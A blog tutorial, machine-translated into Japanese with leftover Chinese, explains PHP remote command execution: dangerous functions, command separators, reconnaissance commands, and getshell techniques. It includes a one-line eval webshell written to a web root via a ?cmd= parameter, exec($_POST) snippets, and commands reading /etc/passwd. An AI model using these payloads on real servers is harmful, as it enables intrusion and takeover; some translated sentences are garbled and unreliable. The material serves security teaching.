ネットワーク セキュリティの詳細な研究の最初のレッスン - 一般的なフレームワークの脆弱性 (RCE コマンド実行)


1.RCE

------ リモート命令执行或者代码执行、RCE という言葉の乱用のため、RCE の範囲は比較的広く、侵入の最終状況がコマンドまたはコードの実行を実現できる限り、コードなどの RCE に属します。 Getshell の実行、ファイルのインクルード、逆シリアル化、コマンドの実行、ファイルの書き込みも Getshell に属することができます。

------ RCE の脆弱性により、攻撃者はリモートからオペレーティング システムのコマンドやコードをバックエンド サーバーに直接挿入し、バックエンド システムを制御することができます。


2. コマンドの実行/挿入 - 概要

------ アプリケーションは、PHP の system、exec、shell_exec、passthru、popen などのシステム コマンドを実行する関数を呼び出す必要がある場合があります。ユーザーがこれらの関数を呼び出すと、悪意のあるシステム コマンドが組み込まれる可能性があります。これにより、コマンド実行の脆弱性であるコマンド実行攻撃が引き起こされます。

------コマンド実行の原因:Web アプリケーションのスクリプト コードはコマンドの実行時に厳密にフィルタリングされていないため、攻撃者が制御できるコードが挿入され、サーバー上で悪意のある命令が実行されます。

------ コマンド実行の脆弱性は、PHP アプリケーションで最も一般的な脆弱性の 1 つです。

------コマンド実行の脆弱性: オペレーティング システムのコマンドを直接呼び出す。システムまたはアプリケーション コマンド (CMD コマンドや bash コマンドなど) を実行できる脆弱性 PHP コマンド実行の脆弱性は、主に一部の関数のパラメータ フィルタリングが緩いことが原因で発生します。


3. コマンド実行共通機能

一般的なコマンド実行機能:

  • PHP:exec、shell_exec、system、passthru、popen、proc_open等
  • ASP.NET: System.Diagnostics.Start.Process、System.Diagnostics.Start.ProcessStartInfo など。
  • Java:java.lang.runtime.Runtime.getRuntime、java.lang.runtime.Runtime.exec等

4. PHPコマンド実行共通機能

1、実行:

戻り値: コマンド実行結果の最終行を返し、失敗した場合は false を返します。

<?php
	echo exec($_POST["q"]);
?> 
<?php
	print exec($_POST["q"]);
?>

以下に示すように、最後の行のみが出力されます
ここに画像の説明を挿入します

2、システム

------ この関数は実行結果を出力し、出力結果を文字列として返します。

------ PHP がサーバー モジュールで実行されている場合、system() 関数は、出力の各行が完了した後に Web サーバーの出力キャッシュを自動的に更新しようとし、実行が失敗した場合は false を返します。

<?php
	highlight_file(__FILE__);                     
	system('whoami');
?>

highlight_file() 函数以字符串形式返回 突出显示的代码,
成功返回true,否则返回false

3、パススルー

------ 外部プログラムを実行し、生の出力を表示します。この関数は、実行された Unix コマンドがバイナリ データを出力し、ブラウザに直接送信する必要がある場合に必要です。

<?php
	highlight_file(__FILE__);
	passthru('whoami');
?>

4、shell_exec

------ シェルを通じてコマンドを実行し、完全な出力を文字列として返します。

<?php
	highlight_file(__FILE__);
	var_dump(shell_exec('ipconfig'));  
?>

5. バッククオート

------shell_exec() 関数は、実際にはバックティック (`) 演算子の単なる変形です。

<?php echo `whoami`; ?>
这时候whoami会直接被当成命令来执行。

5. PHPコマンド実行 - 共通機能まとめ

------ コマンドを実行できる関数:system()、exec()、shell_exec()、passthru()、pcntl_exec()、popen()、proc_open()、バックティックもコマンドを実行できます

  • system()、exec()、shell_exec()、passthru()、およびバックティック (`) はコマンドに直接渡すことができ、関数は実行結果を返します。

例: <?php system('ipconfig'); ?> <?php echo `whoami`; ?>

  • Popen() 関数と proc_open() 関数は実行結果を直接返しませんが、ファイル ポインタを返します (ファイル ポインタを介して、関数が指すファイルに対してさまざまな操作を実行できます)。コマンドは実行されました。
<?php Popen('whoami >>D:/2.txt','r'); ?>

6. コマンド実行の脆弱性の原因

------ この種の脆弱性は通常、アプリケーション システムが、一般的なルーター、ファイアウォール、侵入検知、その他のデバイスの Web 管理インターフェイスなど、指定されたリモート コマンド操作インターフェイスをユーザーに提供するように設計されているために発生します。 ping 操作用の Web インターフェイスを使用します。ユーザーは Web インターフェイスからターゲット IP を入力します。送信後、バックグラウンドで IP アドレスに対して ping テストが実行され、テスト結果が返されます。

------ この機能を完了するときに設計者が厳格なセキュリティ制御を実装していない場合、攻撃者がこのインターフェイスを通じて「予期しない」コマンドを送信し、バックグラウンドの実行を許可し、それによってバックグラウンド サーバー全体が制御される可能性があります。


7. コマンド実行の脆弱性悪用条件

  • アプリケーションがシステムコマンドを実行する関数を呼び出す
  • ユーザー入力をシステム コマンドのパラメータとしてコマンド ラインに結合する
  • ユーザー入力のフィルタリングがないか、または緩い

8. コマンド実行の脆弱性の分類

1. コードレベルでの厳密なフィルタリングの欠如

商用アプリケーションの一部のコア コードはバイナリ ファイルにカプセル化され、Web アプリケーションのシステム関数を通じて呼び出されます。

2. システムの脆弱性によりコマンドインジェクションが発生する

bash シェルを破壊する脆弱性 (CVE-2014-6271)

3. というサードパーティ製コンポーネントにコード実行の脆弱性があります。

たとえば、JAVA のコマンド実行の脆弱性、WordPress で画像を処理するために使用される ImageMagick コンポーネント
(struts2 など)、
ThinkPHP コマンドの実行。


9. コマンド実行の脆弱性に対してよく使用されるコマンド

ウィンドウズ

dir----查看文件目录
ipconfig----查看Windows的IP地址
arp -a----查看ARP缓存表
calc----在命令行打开计算器
regedit----打开注册表
netstat -ano----查看开放的端口信息

Linux

cat /etc/passwd----查看passwd文件
id----查看该用户的ID号
groups----查看用户所属的组
cat /etc/group----查看组信息
whoami----查看当前用户
pwd----查看当前路径
uname -a----查看主机信息
cat /etc/issue----查看主机的配置信息
netstat -pantu----查看开放的端口信息
netstat -nr----查看路由信息

10. コマンド実行脆弱性の原則

------ OSではコマンドコネクタとして「&, |, ||」が使用可能 ユーザーはブラウザから実行コマンドを送信 サーバーは実行関数をフィルタリングしないため絶対値は指定されない. パスの場合はコマンドを実行します。

------ リモートコマンド実行の脆弱性とは、ユーザーがブラウザから実行操作コマンドを送信するもので、サーバー側で実行機能がフィルタリングされていないため、不正なコマンドが実行されてしまうものです。


11. コマンド実行の脆弱性で使用される特殊文字

ここに画像の説明を挿入します

1、&

1&2 は、コマンド ライン内の複数のコマンドを区切るために使用されます。最初に最初のコマンド 1 を実行し、次に 2 番目のコマンド 2 を実行します。
ここに画像の説明を挿入します

2、&&

1&&2、最初のコマンド 1 を最初に実行し、記号 && の前のコマンド 1 が正常に実行された場合にのみ、記号 && の後にコマンド 2 を実行します。
ここに画像の説明を挿入します

3、|

1|2 (コマンド ライン パイプ シンボル) は、コマンド 1 の出力をコマンド 2 の入力として直ちに使用します。これは、入力と出力のリダイレクトを組み合わせたものです。(以下のステートメントは直接実行されます)
ここに画像の説明を挿入します

4、||

1||2、最初のコマンドを最初に実行し、記号 || の前のコマンド 1 が正常に実行されなかった場合は、記号 || の後にのみコマンド 2 を実行します。
ここに画像の説明を挿入します
ここに画像の説明を挿入します


12. コマンド実行の脆弱性 getshell

------ 攻撃者は Web ユーザーの権限を直接継承し、サーバー上で任意のコマンドを実行できるため、特に有害です。

以下に、一般的なコマンド実行エクスプロイトをいくつか示します。

1.Webシェルを直接取得する

たとえば、トロイの木馬:
?cmd=echo “<?php @eval($_REQUEST[123]); ?>” > D:\phpstudy\PHPTutorial\WWW\webshel​​l.php という文を書くことができます。

2. 現在のパスを表示する

たとえば、パラメータ ?cmd=cd を送信すると、現在のパスを表示できます。

3. ファイルを読み取る

例:?cmd=「c:\windows\system32\drivers\etc\hosts」と入力して、システム ホスト ファイルを表示します。

4. ファイルの書き込み

たとえば、パラメータ ?cmd=echo “<?php phpinfo(); ?>” > D:\shell.php を送信できます。


おすすめ

転載: blog.csdn.net/p36273/article/details/132919491